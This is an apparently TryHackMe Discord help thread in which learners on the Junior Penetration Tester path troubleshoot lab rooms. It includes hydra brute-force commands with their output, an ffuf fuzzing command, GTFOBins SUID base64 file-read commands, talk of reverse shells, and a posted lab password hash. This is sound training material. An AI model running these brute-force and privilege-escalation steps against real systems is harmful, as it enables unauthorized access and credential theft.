junior-pentester-path

[next lance]

Gave +1 Rep to @shadow echo

[heady mesa]

hi, in “Walking an application” room, in documentation i found ||/thm-framework-login|| path, login with default creds and got flag, is this a bonus one? this flag did required anywhere else in room.

[heady mesa]

nm, this is the answer for the next rooms task

[tender kelp]

hi,in cross site scripting room,task8 (practical example) I am not getting any responses in my netcat listener,but the same is working fine with thm request catcher.Can anyone please tell what is wrong

[frozen zinc]

Hi Guys, why isn't the search -f *.txt on the meterpreter session not coming back with anything or does it take a while please?

Ignore that just take's a while to search sorry lol

[warm crypt]

Struggling to create a 500 internal error on the Burp Suite: Repeater room

Any ideas guys?

[shadow echo]

Did you read the hint ?

[warm crypt]

yeah

[shadow echo]

And did you try all of these hints already ?

[warm crypt]

yes

[shadow echo]

Then I guess you should have already received an 500 error. So what numbers for example have you tried ?

[warm crypt]

6, 7, 8, 9, 10. 1000 and so on

I just get 404s

[shadow echo]

What about the part of the hint saying "or a number less than or equal to 0." ?

[warm crypt]

That worked.

I must have misread the last sentence

[brazen rain]

Completed this path tonight!

[brazen rain]

Windows stuff is hard!

[carmine dune]

I'm stuck on task 5 of Linux PrivEsc. the exploit code won't compile

https://www.exploit-db.com/exploits/37292 this is the exploit

[idle bison]

Are you sure it didn't compile?

Warnings and errors are different, warnings don't prevent it from compiling

[carmine dune]

oh

not a programmer

so it all looks like it's says "This isn't going to work" to me

[idle bison]

You'll see warnings and errors quite a lot in sec, it's important to remember the difference IMO

[carmine dune]

thanks @idle bison

[next lance]

Gave +1 Rep to @idle bison

[carmine dune]

now I'm getting permission denied when I try to transfer my exploit to the victim machine

@idle bison

HTTP request sent, awaiting response... 200 OK
Length: 17112 (17K) [application/octet-stream]
exploit: Permission denied

Cannot write to ‘exploit’ (Permission denied).

[delicate tide]

Task 5?

[carmine dune]

yeah

[delicate tide]

What directory are you in when you wget?

[carmine dune]

"/"

thanks @delicate tide

[next lance]

Gave +1 Rep to @delicate tide

[carmine dune]

I can't progress anymore in the Linux PrivEsc anymore

stuck on task 7

user doesn't have access to sudo at all

Not sure how I'm supposed to even do that task

[shadow echo]

If you would be able to use sudo, there would be basically no point in trying to escalate your privileges

[carmine dune]

but the exploits require sudo

[shadow echo]

What exploit you talking about ?

[carmine dune]

the GTFObins

[shadow echo]

But as I said, if you would be able to use sudo, you could anyways do everything on the system

So if you have to use sudo, you are doing something wrong

[carmine dune]

https://gtfobins.github.io/gtfobins/base64/

[shadow echo]

As you are not allowed to use sudo, the sudo part of that gtfobins part doesn't apply to your scenario. I highly assume you found that binary by searching for SUID bit, so you have to use that part of the gtfobins

[carmine dune]

Yes because the SUID bit is what this task focuses on

[shadow echo]

Right, so I'm not sure why you would have to use sudo ?

Are you talking about that part? sudo install -m =xs $(which base64) .

[carmine dune]

yes

[shadow echo]

The descriptions says: "To interact with an existing SUID binary skip the first command and run the program using its original path."

So you can just skip that first command.

[carmine dune]

I feel really stupid and I have no idea what to do now

[shadow echo]

So as you can skip the first command. There are only 2 commands left.
LFILE=file_to_read
./base64 "$LFILE" | base64 --decode

So the first one of these 2 is just assigning a file path to a variable. E.g LFILE=/home/karen/flag.txt
The second command is executing the base64 binary, encodes the file contents you have specified in the LFILE variable, pipes it again to base64 an decodes it, so that the contents get printed out for you.

So basically you can read files, you shouldn't have read access to

[carmine dune]

thanks @shadow echo I was able to get the flag. Now I just need to unshadow the password

[next lance]

Gave +1 Rep to @shadow echo

[carmine dune]

I think I got the password unshadowed but I don't know which part is the password hash

wait. no I didn't

why didn't unshadow work?

ok unshadow seems to have worked but I can't crack the password even though john cracks the two other hashes in the file

grrrr nevermind I got it

[carmine dune]

Ok I'm on task 8 of Linux PrivEsc and I'm not sure what I'm doing wrong. I've edited the script to open a reverse shell on port 6666 and I set netcat to listen on that port and nothing.

[shadow echo]

Task 8 or 9 ?

[carmine dune]

I mean 9

[shadow echo]

Check the permissions of that script file

[carmine dune]

@shadow echo thanks

[next lance]

Gave +1 Rep to @shadow echo

[carmine dune]

I'm clueless as to what to do for 10.

[carmine dune]

got it

[timber laurel]

Folks, in metasploit exploitation room, one of the questions asked what is running on port 8000
I used nmap to answer this question. I see the hint is given as use http_version module.

I understand we are asked to use the httpversion module given a web server is running on the target port.
But what if some other apps using that port? Any generic metasploit module available to identify what is running on a port?

[idle bison]

Why wouldn't it be able to do HTTPS?

There's an option to negotiate SSL so it does support it

[barren lintel]

anyone know how to change the default termianl view from this

well not letting me upload a file.

trying to have the terminal all 1 line and not 2

┌──(kali㉿kali)-[~]
└─$

trying to have it all one one line

[dark cedar]

what kali version are you using? @barren lintel

[barren lintel]

2021.4

[dark cedar]

I am assuming that 2 lines have come by default after 2020 version.
try changing your shell if that works.
I will try to research and let you know if I found anything

[barren lintel]

yeah tried that. In my OSCP learning PDF they say to run C + END

but that doesn't work nor do i know how that would ever work as that would just type out a boat load of CCCCCCCCCCCCC

[dark cedar]

have a look at this https://superuser.com/questions/1603642/how-to-revert-to-one-line-terminal-in-new-kali-linux-2020-04

@barren lintel

[idle bison]

@dark cedar @barren lintel Better than editing the file, try kali-tweaks

[dark cedar]

sure, will check
thanks @idle bison

[next lance]

Gave +1 Rep to @idle bison

[foggy tartan]

Anyone Can tell me how can I pass Cloudflare verification for XSS Vulnerability?

[shadow echo]

I'm unsure what exactly you mean ?

[valid cloak]

capstone room is slow

[barren lintel]

Thanks for the links. Just edited line 115 to have "oneline" and it's now back

[next lance]

Gave +1 Rep to @idle bison

[barren lintel]

PROMPT_ALTERNATIVE=oneline
NEWLINE_BEFORE_PROMPT=yes

[foggy tartan]

I am doing this for bug bounty. Can you help me with that?

[proud pollen]

i tried this too and had the same problem. I've seen other walkthroughs add a referer path but we haven't learnt this method. I'll hv to do a curl request too but I would like to know how this can actually be done on burp

[mild idol]

Hello, trying File Inclusion room on task 8, question number 2 (/etc/flag2), it says the message "Refresh the page please!", it does not appear to work on firefox (don't know if is my browser), tried on Chrome and message changed and received the flag, just in case anyone having the same problem

[carmine dune]

how do I transfer files to a remote desktop instance?

[carmine dune]

let me rephrase: how do I share files with a remote desktop session?

[civic kestrel]

using rdp, click show options, go to the local resources tab and click more. From there expand the drives and pick the drive you want to share files from

[carmine dune]

@civic kestrel I don't see any options

[civic kestrel]

there should be a show options button on the bottom left when you open remote desktop connection

[carmine dune]

the one that comes with kali doesn't have options

[civic kestrel]

my bad I thought you were using windows

[pearl sage]

Hey everyone, in the File Inclusion Room Task 4 Question 1. I am constructing the URL to reach the /etc/passwd file. So far (I think) this is correct /****.php?file=?etc/passwd but I can't figure out the first four digits after the start

/* ** *.php?file=etc/passwd

Wait nevermind I figured it out

[carmine dune]

@civic kestrel thanks anyways

[next lance]

Gave +1 Rep to @civic kestrel

[carmine dune]

@pearl sage Isn't it great when that happens?

[pearl sage]

lmao yes

[carmine dune]

freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]

@civic kestrel

[civic kestrel]

are you sure you have the right IP address and the port is not blocked?

[carmine dune]

I figured it out. I wasn't connected to the tryhackme vpn

still can't share files

got it working

[carmine dune]

I did it! I completed the Jr. Penetration Tester path!

[modest arch]

hey

[barren lintel]

i'm playing aorund with sublist3r for domain enumeration. Anyone know what brute force switch does with that tool. The help pages don't provide any data nor does the github

[shell wren]

Does anyone has any tips on the File inclusion challange for flag3, i've found 2 CVE-s linked to it but somehow cant find a way to exploit it?

[shell wren]

you've tried amass?

[shadow echo]

For flag 3, to get it you have to apply a combination out of request method and filter bypass.

[shell wren]

Hmm... i tough about somehow manipulating the session by passing some values in the PHPSESSID or setting a cookie and then invoking it with the parameter, but it didn't work... Those are the two CVE-s I've stumbled across CVE-2011-2505, CVE-2010-3065 can they get in any use.

[shadow echo]

Well actually it's pretty straight forward. Check out the task about filter bypass/getting rid of file extension again and just try a "normal" file inclusion with the correct request method and you should be fine. So no need to look for any CVE whatsoever

[shell wren]

Thank you sir!

[next lance]

Gave +1 Rep to @shadow echo

[shell wren]

I've solved it, but noticed something. My request was absolutely the same in burp and in terminal where I curl-ed. I am usually doing everything with burp, but as I've tried with curl it worked. I think it's a bug.

[shadow echo]

No, I guess it's most likely due to curl adding a specific header when defining the request method, whereas burp only captures the request you make in your browser and you either didn't manually add that header on your own or specified the correct request method in your browser in the first place.

[old dune]

sup can anyone help me with file inclusion task 4 2nd question

[old dune]

pls

[shadow echo]

You should ask the question you have with that task straight away

[old dune]

where am I suppossed to find the answer

[shadow echo]

In lab 2 of the target machines webpage

[old dune]

I dont know where to find it actually

the answer

lol my attackbox just crashed

[shadow echo]

You'll find the answer in the error message in lab 2

[old dune]

bruh

damn im dumb as hell

me, stupid trying to get answer from this

[shadow echo]

So you found it now, right ?

[trim wave]

Hey, just wondering i'm on the Auth Bypass page, on Task 3 brute force i'm putting in the command i need to but not getting any results, any ideas?

[shadow echo]

Check your valid_usernames file. It's only supposed to have the usernames in it and not any extra strings like status codes, size etc.

[trim wave]

yeahh i thought that so i checked it and edited it

[shadow echo]

And still not working ?

[trim wave]

or do they have to be on the same line with commas?

i just put them on seperate lines because that's what the passwords ones are like

[shadow echo]

No they don't. So I assume it's still not working. Then create a new file with touch filename and write the usernames manually in it. So to not have the output file from ffuf anymore.

[trim wave]

i'll give it a try

is it

touch Admin Simon Robert Steve valid_usernames.txt

lmao nevermind i realised

[shadow echo]

What? No ^^

[trim wave]

that makes the files

[shadow echo]

Ye

[trim wave]

so i just made 5 files lmfao

sorry nooby

so touch valid_usernames.txt

then open and put the names in myself

[shadow echo]

Yes, did you delete the previous valid_usernames.txt file ?

[trim wave]

yeah

[shadow echo]

Ok

[trim wave]

ok thx!

dunno why it wasn't working the first time, the file was the same..

[shadow echo]

I think because ffuf for some reason is not outputting the file in the correct format. Need to check on that myself to fully understand.

[trim wave]

thanks for the info!

[barren lintel]

i have not but did see TCM talking about it so i'll give it a shot

[old dune]

yep, thx

[next lance]

Gave +1 Rep to @shadow echo

[wintry thunder]

Thank you for answering these questions 🙂 i was having the exact same problem.

Got mine to work as well using your directions ❤️

[warm crypt]

What's the best number of tasks to use to speed up hydra brute forcing?

[sage current]

would guess increasing threads could increase hydra speed

but there are limits there too

[sage current]

ah yeah the default is 16 tasks/threads increasing that to say 32 would increase the speed but might also get you detected quicker and therefor make you appear quicker on the denylist making you not able to continue your attack... you could also mess with -w time flag/parameter/option to increase speed by not waiting as long for a response all the time

the best numbers will vary between targets

[slate sinew]

Too many threads can also cause context trashing on your VM or host. Don't run more threads than you have cores you are willing to dedicate to it.

Most of the time spent in hydra is waiting for network stuff to happen, as far as I can tell. Increasing threads doesn't necessarily help with that if the blocker isn't # of simultaneous connections.

[warm crypt]

I'm just trying to optimize for the particular task, I am doing. I'm on the netsec challenge in the junior path

[modest arch]

guys I'm trying to do the linux privesc kernel exploit part

Lmao nevermind! I was using the wrong port in the URL to fetch the exploit binary 😛

[sage current]

GG

[copper pagoda]

hey guys, i'm doing an assignment for uni, and i have to crack the password of a pdf using some documents as the wordlist, but when i use jhon the ripper to get the hash of the file it returns the path of the file instead of the hash, is it possible to get some help here?

"./pdf2john.pl /media/sf_DFF_Case_Files/sellerZ.pdf > /home/kali/Desktop/password.txt" , this is the command i'm using, and this is what i get as a reply : /media/sf_DFF_Case_Files/sellerZ.pdf:

do you guys know any good way of doing this?

[shadow echo]

To not leave you without an answer.
You probably didn't received a reply because it has nothing to do with a thm room/path and also because of that: #room-help message

[craggy shoal]

hey people
I am trying to use hydra:

hydra -v -l admin -P ~/Downloads/rockyou.txt **** http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login&return=bW5kZXgucGhw&13143b50d76bf4f81c8e03165a6db4ac=1:Login Failed"

But the output is always like this

[80][http-post-form] host: ****
   login: admin   password: 12345678
[80][http-post-form] host: ****   login: admin   password: babygirl
[80][http-post-form] host: ****  login: admin   password: lovely
[STATUS] attack finished for ****(waiting for children to complete tests)
[80][http-post-form] host: ****   login: admin   password: nicole
....
....
1 of 1 target successfully completed, 16 valid passwords found

am I doing something wrong ?
This is Daily Bugle task.

[shadow echo]

Did you check what the actual login request on that page is looking like? So by capturing that request with burp for example ?

[craggy shoal]

yup

and there is also Cookie: header, but should I include that in the hydra, I guess it is optional , and it is not in the data section

[shadow echo]

Could you show a screenshot of that captured request in burp pls ?

[craggy shoal]

sure

[shadow echo]

Well, I guess you could try to include that cookie, yes

Or delete that cookie in burp to see what response you get

Also, maybe try turning down the threads in hydra, to like 4 and check again if it's working

[craggy shoal]

ohh, nice, when I deleted the cookie got the 400 error

noh.. same

[80][http-post-form] host: ****  login: admin
[STATUS] attack finished for **** (waiting for children to complete tests)
[80][http-post-form] host: ****  login: admin   password: 123456
[80][http-post-form] host: ****  login: admin   password: 12345
[80][http-post-form] host: ****  login: admin   password: 123456789
1 of 1 target successfully completed, 4 valid passwords found

request:

hydra -v -t 4 -l admin -P ~/Downloads/rockyou.txt **** http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login&return=aW5kZXgucGhw&07f73be725d051c2b68db5ee7ee77f45=1:Login Failed:H=Cookie:2b01af51830ca9615359108de04d9ca1=2tpnmp3m6bqng0cce3kfoup9i4" 

[shadow echo]

Mh, I would have to try it on my own as I'm not sure why it is like that. Or you maybe try checking a write up for that part of that room

[idle bison]

@craggy shoal what room is this?

[craggy shoal]

Daily Bugle

[sage current]

and sql injection room done

[modest arch]

Hi everyone. 🙂 Do you know if Dirbuster is still a current tool? SourceForge mentions it was last updated in 2013 but it is still installed in Kali apparently. 🤔

[warm crypt]

I've used dirbuster before

But I prefer dirsearch or gobuster

[modest arch]

Granted, but the question was really: is this thing still… a thing?

[warm crypt]

By the looks of it not really

Their gitlab stuff has barely been updated

Alot of the lists are 9 years old with no updates

[worldly orchid]

did anyone else have issues with nmap not working correctly for advanced port scans? I keep having issues showing unfiltered and open|filtered ports

specifically in their own kali machine using openVPN

I can get it to work on attack box

[jagged gust]

yes not really sure what the problem, but look like its very slow when i did with vm kali + openvpn. maybe the internet not fast enough?

[jagged gust]

me too

[worldly orchid]

no my issue is that it just would how zero results for -sF scans

but in the attack box I would get the proper ports returned

[jagged gust]

sorry, but on what circumtances you need the -sF scan?

[worldly orchid]

Advanced port scans tasks in the nmap section of junior pentester

[jagged gust]

did you try append --reason ? to see why its returned 0 result?

worse case just change your openvpn ip might help you

[worldly orchid]

I might have used --reason incorrectly because it doesn't show anything differently than without --reason. Maybe these screenshots will help. I just want to make sure I'm not doing something wrong or that I have something configured incorrectly. the VPN is connected, I can ping that same machine. I'm guessing the ignored states message is a clue but I don't really get great info if I google the problem

[shadow echo]

Can I try to scan your target machine too? As you should get the same results on your own machine then on the attackbox

[jagged gust]

try to scan your machine    sudo nmap -sF 10.10.183.100  1 ✘
[sudo] password for landax:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-31 22:21 WIB
Nmap scan report for 10.10.183.100
Host is up (0.40s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
25/tcp open|filtered smtp
53/tcp open|filtered domain
80/tcp open|filtered http
110/tcp open|filtered pop3
111/tcp open|filtered rpcbind
143/tcp open|filtered imap

Nmap done: 1 IP address (1 host up) scanned in 39.22 seconds

[worldly orchid]

yes go for it, it's up

[shadow echo]

You scanned the machine without asking him first ^^?

[jagged gust]

my bad, just try to help him. but sorry i cant

[shadow echo]

Okay, got the same results as landax and it works just fine. So are you on your local machine right now ?

[worldly orchid]

yes I have a VMware with my own kali, VPN connected and working. I can ping the target machine

[shadow echo]

If you check ip a s do you only see a tun0 interface or any extra like tun1, tun2 etc. ?

[worldly orchid]

I have never used this before so I hope I give you the correct info back. I see three results. one looks like local host, 2 looks like my ethernet, 3 is probably my kasm docker because it says "docker0"? Not seeing anything that says tun0. another aspect of this problem that I should mention is that some nmap scans do work the target machines. I didn't have any issues when I did the basic scans like -sT

[lapis lake]

I sense the magic one liner : sudo ip link set dev tun0 mtu 1200 incoming 👀 I've seen this setup before 😄

[shadow echo]

So that means you are running openvpn on your host machine instead of directly inside your VM ?

[worldly orchid]

yes, that's correct

[shadow echo]

Then that's the issue, you have to run it directly inside your VM. So not on your host machine and also not on your host machine and the VM simultaneously 🙂

[shadow echo]

Well, seems like not this time 😄

[worldly orchid]

that makes sense! I will work on getting this set up correctly. Thank you SO MUCH! I really appreciate your help 🤜

[next lance]

Gave +1 Rep to @shadow echo

[jagged gust]

uh you're the man

[umbral laurel]

Ayee just finished the Jr pentester path :))

[obtuse pine]

cross posting this from hints channel to see if anyone knows:

I'm stuck on something in https://tryhackme.com/room/linprivesc probably simple
in the walkthroughs when it gets to exploit-db everyone seems to be pulling a .c file straight from exploitdb but when I check it's just a .TXT of instructions
either they're not showing a conversion of some kind that happened before writing or making the video or I just don't know how to do it

[buoyant dagger]

What task?

Can you verify and share a screenshot please?

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[obtuse pine]

Sorry, I meant to reply I got an answer. It was Task 5, I didn't realize formats on Exploit DB were split into multiple pages, so there was a different search result for the same exploit that had a .c download

[buoyant dagger]

🔥 Good work!

[obtuse pine]

and I'm verified now, thanks

[buoyant dagger]

You're welcome!

[zenith yarrow]

Hello, I am trying to complete the subdomain enumeration module and I am on the virtual hosts section. It gives you the script to run, but when I run it, i'm not finding the two domains it wants me to. It just scrubs them all and ends. Am I just a moron?

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host:FUZZ.acmeitsupport.thm" -u http://10.10.146.173 -fs 472

It did the same thing, burned through the wordlist and didn't return any subdomains.

standby

No I do not. However, that wasn't in the lesson to add it so I didn't

No, which makes me wonder if my attackbox is acting silly.

[lapis lake]

When ever a room is mentioning a hostname as the target rather than as an IP, it's a safe assumption you have to add that hostname to /etc/hosts . Most of the time it'll tell you to add it to hosts, but if you're anything like me you'll usually miss that piece of information. 😂

[zenith yarrow]

I can reach google and everything else I have needed to open though.

Ok, I can do that 😂

Will do

I'm evidently still doing something wrong. I added the acmeitsupport to /etc/hosts, but still not getting anything.

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[zenith yarrow]

Ok, verified. It might just be I didn't add the acmeitsupport.thm correctly in the hosts file. I've just really started messing with this.

[fair edge]

Can you ping the domain or access it in your browser now?

[zenith yarrow]

Like I said, I know this is me doing something like an idiot. I tried ping acmeitsupport.thm, but it didn't do anything. Is it different than pinging an ip address?

[lapis lake]

the entry should look like this <IP> acmeitsupport.thm make sure it starts on a new line.

[zenith yarrow]

I figured I was entering it wrong. I guess getting the IP for acmeitsupport.thm is the issue I am running into right now. I feel like this is becoming way more complicated than a simple subdoman enumeration exercise.

I tried that, but that's the IP for my attackbox isn't it?

I'm looking for an IP for the target, but I didn't see one.

I clicked it but it said I could only have 3 machines open at a time. It's not giving me that bar with the information like it did on the last module. I might just try signing out and back in to clear things out.

Where is it hiding the other two boxes? In the previous lessons?

I found them, didn't realize it wasn't just carrying the machine over from one to the next. I bet THAT is the reason it cannot find it in this module. Good to know for the future.

Like I said, I knew it was me doing something dumb.

Always learning at least.

Thank you, you guys are awesome.

Finished it by the way once I had the target machine for the module actually running. Bet I don't make that mistake again. 😂

[modest arch]

Hi everyone. 🙂 I'm getting familiar with Dirb and experimented sending Dirb's traffic through Burp Proxy using the -p flag. This works fine but in Burp Proxy's Intercept tab, it seems I need to click the Forward button individually for all requests sent by Dirb. Is there a way to 'Auto Forward'? Doing it by hand is just unpractical.

[shadow echo]

Disable intercept ?

[modest arch]

Works great. Thanks! 👍

[quartz nacelle]

Hiii! For Authentication Bypass / Cookie Tampering, is there a specific way the lesson would like us to do the base64 hash decoding / encoding? Reading back through I can't really tell if there's a recommended method.

I just used base64decode.org...

[shadow echo]

Well, actually base64decode.org is even in the hint, so that's perfectly fine. But you can decode / encode it with whatever works for you. Cyberchef for example is a great tool in general, in case you never used it before. https://gchq.github.io/CyberChef/

[quartz nacelle]

Hah, no way! I should've looked at the hint for sure. Good, I'm glad that I was mostly on the right track… I thought they maybe should have been away for me to do that with the /test-cookie page but I gave up after a few tries.

Good call on CyberChef, that was recommended/used in one of the tasks in one of the fundamentals rooms I think. I need to dig into it further, thanks!

[next lance]

Gave +1 Rep to @shadow echo

[idle bison]

Very very very important. Base64 is not a hash.

[quartz nacelle]

That's a great point and clarification. We just refer to the base64 encoded strong as..."a base64 encoded string" then?

[idle bison]

Base64 encoded data, yeah.

[upbeat sequoia]

hows everyone doing

[haughty loom]

What command would you use to clear a set payload in metasploit ? i forgor💀

[haughty loom]

good what abt you

[upbeat sequoia]

good spending the night doing THM rooms in between playing some CS lol

[haughty loom]

In CS are you silver or gold

[shell wren]

not sure if in the right room, but any idea if i could run a slow gobuster scan for discovering locations and evade WAF?

[neat rock]

members i run this command it gave me this error

[shadow echo]

I'm unsure what part of that screenshot you mean as an error ?

[modest arch]

Hey guys, I hope that you all are well

I'm new in the cyber security stuff and I need more resources to learn this stuff

I am currently learning from try hack me and hack the box but they are not completely free

Can someone guide me more please ?

[shadow echo]

About 80% of the THM rooms are free. So I think you should have a lot to learn before running out of rooms 🙂

[lapis lake]

If the next room in your Learning path is subscriber only, it doesn't mean the rest of them are as well. Skip the subscriber ones and do the free ones. You can learn a lot with a free account. Keep grinding!

[modest arch]

Okiee thankss

[upbeat sequoia]

morning everyone

[crisp wadi]

what is this for

?

[sage current]

this is a channel for one of the learning paths from the website https://tryhackme.com

@crisp wadi ⬆️

[mellow stratus]

hi all, im stuck on the windows privesc room, task 2 is to rdp on to the machine and check what users are there etc, except there are no login creds and researching the default for the setup used as hinted in task1 gives no joy. Am i looking at this wrong?

[maiden stratus]

Show split view 🙂

[mellow stratus]

wow thank you! after all the hair I have just pulled out

[next lance]

Gave +1 Rep to @maiden stratus

[pastel stream]

It is still showing this

Even though I started the machine in the room "Authentication Bypass"

[delicate tide]

Is this your VM browser?

[pastel stream]

No Its my host machine

Im using the In-built Kali Machine

[delicate tide]

ah youre using attack box right?

[pastel stream]

yeah

[shadow echo]

Solved it meanwhile ?

[maiden stratus]

In windows privesc room, isn't there any other way to switch to user "jack"?

rather than logout and login, just simple switch like su in linux

[pastel stream]

I actually started the website using this room

https://tryhackme.com/room/walkinganapplication

and then started solving the contents of this "Authentication Bypass room"

Got this one

The solution was to use this

Instead of this

Sorry for pinging about this

[shadow echo]

Well, to me this all looks like you are not on the web based attackbox or kali machine. So it seems you are trying to access this target machine via your own machine. And the reason you can access the site with thmlabs.com is that you don't need to be connected via the thm vpn to access it. But the IP based url you will have to be connected to the thm vpn

[pastel stream]

umm yeah something like this... sorry I dont know much about this

😓

[shadow echo]

If you want to go through room from your own machine, connect to the thm vpn and you are fine. This rooms shows you how to connect: https://tryhackme.com/room/openvpn

gtg now, in case you still have issues reach out again in this channel

[pastel stream]

ohh ok thank you

[heady monolith]

i have a question on the command injection practical. i can't get any response from the machine, and i'm guessing because i'm inputting the commands incorrectly. is there a particularl syntax i'm supposed to use? the reading material is not very clear

[lone berry]

That was nice ot receive 🙂

[buoyant dagger]

Congrats!

On to the next path!

[delicate rapids]

Congrats! @lone berry

[lone berry]

Cheers it was a good path that, really enjoyed it

[nocturne pivot]

Hello 😀 I am on the msfvenom section. I have used wget to transfer my payload to the ssh session machine. And now Im trying to get a session on my attacking machine but it keeps telling me no session created. Am I supposed to activate the payload on the ssh machine first?

Attacking Machine

SSH machine

Appreciate any help, I been stuck on this all day.

@steel nymph hello

I have restarted the attackbox and tried this over and over again.

OK. I just dont see how it is in use LOL. OK thanks so much for your time.

@steel nymph So it looks like 7777 is in use and 4747 is not in use?

OK thanks again! I will try do it again with 4747 and let you know how I go:)

[warm crypt]

Trying to figure why this crontab script isn't working on the Linux PrivEsc task

I've configured the script and the listener to the same port

[idle bison]

Is it executable?

[warm crypt]

I'm an idiot

[lofty scaffold]

Hi anybody that can help me out with this. when i do the content discovery room i can't acces the sitemap.xml page but i can read the robots.txt just fine any ideas?

[warm crypt]

What's the error you get?

[lofty scaffold]

No specific error just hangs, both in firefox, as curl

[warm crypt]

Hmm

[warm crypt]

I tried it and it works. What address you typing in?

[lofty scaffold]

http://10.10.99.48/sitemap.xml

or the same with robots.txt

[warm crypt]

Might be issues with the box itself. Try terminating and rebooting the box

[lofty scaffold]

Alright already done that in the mean time i'm gonna reboot my vm to

[warm crypt]

Ok

Seems weird that the robots.txt works, but not sitemap.xml

[lofty scaffold]

Yeah same problem : command: curl http://10.10.70.124/sitemap.xml

weird stuff

Error: error on running gobuster: unable to connect to http://10.10.70.124/: Get "http://10.10.70.124/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
A more complete error when running gocbuster

[lament pawn]

Kongrats!!! It’s a lot of work!!!

[nocturne pivot]

@steel nymph thanks a lot! Got there in the end and completed the room👍

[next lance]

Gave +1 Rep to @steel nymph

[modest arch]

Guys, has anyone had issues with the linux privesc CRON task? I swear I got the script being run under cron OK, the correct IP and port to establish the connection and the listener on the attacker host listening on the right port yet I'm not getting the reverse shell.

It's supposed to run every minute but still...haven't got anything yet.

[shadow echo]

Check the permissions of the script you edited.

[modest arch]

Thanks! (Deleted the ayy lmao meme. Too big. Better leave the youtube song: https://www.youtube.com/watch?v=4vkR1G_DUVc)

[next lance]

Gave +1 Rep to @shadow echo

[sullen perch]

I am doing capstone

how do i fix this

this is the exploit code

[bitter girder]

It seems to be an error with the host url
You have url=http:/10.10.31.108/:8881
With only 1 / after the http
Try using 2 //
http://host-ip:port

[twin lark]

Hey guys I am working through the Authentication Bypass segment in the JR Pentesting learning path. Im stuck on the bruteforcing with ffuf bit when i run the command with the valid_usernames.txt im not getting any output. Should it be outputting to the terminal window or a file?

I just seem to get no output at all

[sage current]

is the valid_usernames.txt a couple usernames seperated by new lines????

[twin lark]

@sage current

[sage current]

hmmm

maybe the wrong flags for the content lenght or something

[shadow echo]

Is this a manually created file, or you just edited (removed all the status codes, size, etc.) the output file that ffuf created ?

[inner python]

Hey guys, I've started the "Walking An Application" room, and for some reason, I can't reach the "acmeitsupportv10" website maybe someone knows the possible reason? (via openvpn)

[charred swallow]

@inner python Did you try using the IP address rather than the url?

@inner python You can also use the https://x-x-x-x.p.thmlabs.com that is shown in task 1 from a device not connected to vpn.

[warm crypt]

I'll soon have this path done

[charred swallow]

@warm crypt Well done. I finished the "Complete Beginner" path 30 January and am up to 26% here. If it weren't for classes for a degree I'm paying much more for I figure I could finish this in a month or two.

[warm crypt]

I finished that last year

A good way to start

[inner python]

ohh tnx sorry i didn't notice this

[charred swallow]

@inner python I'm sorry if you had already tried that. I fired up the machine again and was able to get to both the url I referenced from a non-vpn'd instance and to the website by using the IP address directly on VPN.

[warm crypt]

Sometimes it's an issue with the VM as while

If I run into an issue I'll usually boot up a new instance of the VM or restart my kali VM

[charred swallow]

@warm crypt Very true. I'm prone to banging my head against a problem for way to long before I take that step.

[warm crypt]

Worth checking the status of the openvpn session in your terminal

If it's changed from Initialization Sequence Completed try running the openvpn script again

@inner python

[inner python]

its working with the link from the firs task tnx 🙂

[warm crypt]

Cool

[cedar nymph]

i'm trying to execute this .elf that i msvenom'd to get a rev tcp. what am i doing wrong?

[idle bison]

Set your payload in multi handler correctly and it should work

[cedar nymph]

is that what 'segmentation fault core dumped' means?

[idle bison]

Not directly.

[zenith yarrow]

Hello, i'm trying to finish up the privilege escalation sudo block, it tells you to get the hash of franks pwd, I got it, but it's saying the answer is wrong. It matches the format displayed so I am not sure if I am just stupid.

standby

It says frank in the question

Every time I dump the hash in a decoder it tells me it is an invalid hash. I'm assuming I am doing something just slightly wrong.

||$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDE
wW1c3CahzB1uaqeLR1||

[shadow echo]

Is it saying "Wrong answer" or "undefined" ?

[zenith yarrow]

wrong answer

lol ok

Haha, ok it took it that time

Next time I am sure I am right, hit refresh and try again.

At least I had the right answer I. Great success in learning.

[slate sinew]

Please put answers into spoiler tags

[zenith yarrow]

Sorry juun, I will make sure I don't screw that up in the future.

[slate sinew]

No worries, just don't want someone who wants help getting an answer they didn't want

[zenith yarrow]

From what I am seeing doing extra research, the hashes you can get, are those pretty hard to actually reverse? I know that it seems like this is asking a lot of questions on what specific users pwds are, but the research I have seen basically says outside of using John, it isn't something you can just dump into a decoder and get the plain text from.

I'm obviously new at this, so looking for any good extra stuff to read to improve the knowledge base.

[slate sinew]

You can, theoretically, dump any hash into a brute force tool and get a plaintext answer

and tools like jtr and hashcat aren't decoders; there is nothing to reverse

do you know what a hash is, and how it differs from an encryption or encoding?

[zenith yarrow]

Vaguely, a hash is basically a 1 way randomization of the plain text. Encoding is basically using a set algorithm to change plain text in a way that can be easily decrypted by the proper user.

I have tried dumping the hashes into a few online tools, but none of them have actually spit out a plain text. That's why I figured that what I am getting for these user hashed passwords are something I am missing the point on for turning them into a plain text answer.

Ok, that makes sense.

[slate sinew]

it's not really a randomization. a hash applies the same transformation every time, regardless of input. That's how you can store a hash to verify a correct password

[zenith yarrow]

I'm doing lots of side learning during this part. Up till now, it seemed like the path kind of walked you through the tools and things you needed to get through things. This has been the only part that seemed to kind of deviate and I am a little lost on using what needs to be done. Yah, I saw in the file where it told me what kind it was. Just wasn't completely sure what to do with that afterwords.

[slate sinew]

john is also very slow to brute that type of hash, if you have a host with a decent GPU, you can run hashcat in windows to speed it up

it'll still take a much more significant amount of time than any of the toy examples, such as NTLM or SHA1

[zenith yarrow]

Ok, i'll keep plugging away at it!

[zenith yarrow]

